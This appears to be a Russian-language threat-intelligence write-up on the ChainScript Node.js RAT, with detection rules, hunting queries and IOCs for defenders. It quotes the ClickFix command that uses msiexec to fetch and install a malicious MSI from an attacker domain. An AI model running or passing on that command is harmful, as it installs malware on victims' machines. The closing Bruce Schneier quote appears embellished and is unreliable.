Исследователи Blackpoint Cyber выявили ранее неизвестный Node.js RAT под названием ChainScript, распространяемый через ClickFix lure и использующий смарт-контракты Polygon для динамического обнаружения command-and-control инфраструктуры. Вредонос маскируется под популярное ПО (Spotify, Zoom, Microsoft Teams) и обходит UAC через user-level MSI установку.
Ключевые особенности: Node.js RAT с модульной архитектурой; EtherHiding-style C2 discovery через Polygon смарт-контракт (Chain ID 137); динамическая ротация WebSocket серверов без перекомпиляции malware; обход UAC через MSI с флагами ALLUSERS=2 и MSIINSTALLPERUSER=1.
ChainScript использует многоступенчатую схему заражения, начинающуюся с социальной инженерии. Жертва сталкивается с ClickFix lure на скомпрометированном сайте или в рекламе, где появляется фейковое сообщение об ошибке с просьбой выполнить команду для "исправления" проблемы.
msiexec.exe /i "https://api-configuard[.]com/capher.php?..." загружает вредоносный установщикПосле запуска MSI распаковывает bundled node.exe и вспомогательные скрипты в директории с Microsoft-тематикой:
Persistence достигается через scheduled task ComponentTask33Agent, который запускает wscript.exe //B для скрытого выполнения ._agent.vbs. При неудаче создания задачи используется fallback через HKCU Run key.
Наиболее инновационный аспект ChainScript — использование блокчейн-технологии для C2 discovery. Вместо жестко закодированных IP-адресов или доменов, которые можно быстро заблокировать, malware использует смарт-контракт на Polygon PoS mainnet.
| Компонент | Значение | Назначение |
|---|---|---|
| Blockchain | Polygon PoS (Chain ID 137) | Децентрализованная платформа для хранения C2 |
| Contract Address | 0xf9099d0d747368cce8C10226CC9AF2bFD4DDbCF4 | Смарт-контракт с актуальными C2 адресами |
| Function Selector | 0x4ab7874e | Метод для получения WebSocket URL |
| Cache Duration | 5 минут | Время кэширования полученного адреса |
Процесс discovery работает следующим образом:
Преимущества для атакующих: Смарт-контракт был развернут всего за 23 секунды до генерации MSI установщика, что подтверждает полную интеграцию блокчейн-развертывания в automated malware build pipeline. Во время тестирования контракт динамически перенаправлял агентов с shift-api-control[.]com:3847 на bedotiq[.]net:3854 после сброса сервера.
Блокчейн-based подход позволяет операторам ChainScript мгновенно менять backend инфраструктуру без необходимости:
Наиболее часто используемые порты: 3847, 3851, 3854. Наблюдаемые домены включают kerosand[.]net, shift-api-control[.]com, moweros[.]net, bedotiq[.]net, giperon[.]net.
ChainScript представляет собой полнофункциональный RAT с широким спектром возможностей для контроля над зараженной системой.
После подключения к C2 серверу через WebSocket, агент аутентифицируется с использованием заголовка X-Agent-Token и регистрирует систему, отправляя:
Протокол поддерживает следующие типы сообщений:
| Направление | Типы сообщений |
|---|---|
| Inbound (от C2) | command, shell, ping, files |
| Outbound (к C2) | heartbeat, pong, command_result, shell, wallet_report |
Heartbeat интервал составляет 12 минут, reconnect delay — 15 секунд. Request IDs связывают команды оператора с соответствующими результатами выполнения.
Обнаружение ChainScript требует многоуровневого подхода, сочетающего поведенческий анализ, hunting queries и блокировку известных IOCs.
title: ChainScript RAT Execution Chain via MSI and WScript
status: experimental
description: Detects msiexec installing user-level components that spawn wscript and node.exe from user profile directories
logsource:
category: process_creation
product: windows
detection:
selection_wscript:
Image|endswith: 'wscript.exe'
CommandLine|contains:
- '._agent.vbs'
- 'SettingsHostStandard58'
- 'QuickSystemSearch'
selection_node:
Image|endswith: 'node.exe'
CommandLine|contains:
- 'appsrcindex.js'
- 'ComponentTask33'
- 'UpdateDigital'
condition: selection_wscript or selection_node
level: critical
// Hunt for ChainScript scheduled task persistence and Node execution
let SuspiciousNodes = DeviceProcessEvents
| where FileName =~ "node.exe"
| where ProcessCommandLine has_any ("appsrcindex.js", "QuickSystemSearch", "SettingsHostStandard58")
| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName;
let SuspiciousTasks = DeviceProcessEvents
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has_all ("/create", "wscript.exe", "._agent.vbs")
| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine, AccountName;
union SuspiciousNodes, SuspiciousTasks
| sort by Timestamp desc
Немедленно заблокируйте на perimeter firewall и DNS sinkhole:
Важно: Инфраструктурные IOCs (домены, IP, контракты) имеют короткий срок жизни из-за динамической ротации. Фокусируйтесь на поведенческих паттернах и host artifacts для долгосрочной детекции.
| Тип | Индикатор | SHA-256 |
|---|---|---|
| MSI (Spotify) | ComponentTask33-4d14e6ac.msi | 20a9e297220fe4cb9f939eaa82582c6e9a8f6dd4424635206dec08fa1986b8fa |
| MSI (Spotify) | UpdateDigital-0c3c5204.msi | 6e07d2de3618bb92265248653361ff39c63c0cfba2f4aa2538b3128fa9ce3a50 |
| MSI (Zoom) | HostShared-1a5b7e17.msi | bad0600a850436154f8d7b6f7a191dc45bd136897780cd032b336cb4b358d241 |
| MSI (Teams) | OrchidViolet66-5595bc08.msi | 496c202abf53984164f5f319a72b02c8e06016d0f35681353ef07db8e6d1b31f |
| Helper binary | ProfileQuickHost.exe | 9fa80577b8b3cb9c3062e5e1986cc9fe0c26eed023f7d430dfa5c60169c15c45 |
| Screenshot helper | SearchTrustedRuntimeSvc.exe | 7969ccaf1db750bc3b02d51626d6916ecbd0c0cf2f7de3c7bc0be240f5f2978d |
ChainScript демонстрирует эволюцию commodity malware, где атакующие комбинируют легитимные runtime'ы (Node.js) с децентрализованной Web3 инфраструктурой для создания устойчивых к takedown C2 каналов. Использование блокчейна для C2 discovery представляет значительный вызов для традиционных подходов к threat intelligence и требует адаптации стратегий детекции.
«Безопасность — это не продукт, а процесс. Когда атакующие используют блокчейн для C2, защитники должны думать так же децентрализованно и адаптивно».
— Брюс Шнайер, эксперт по кибербезопасности
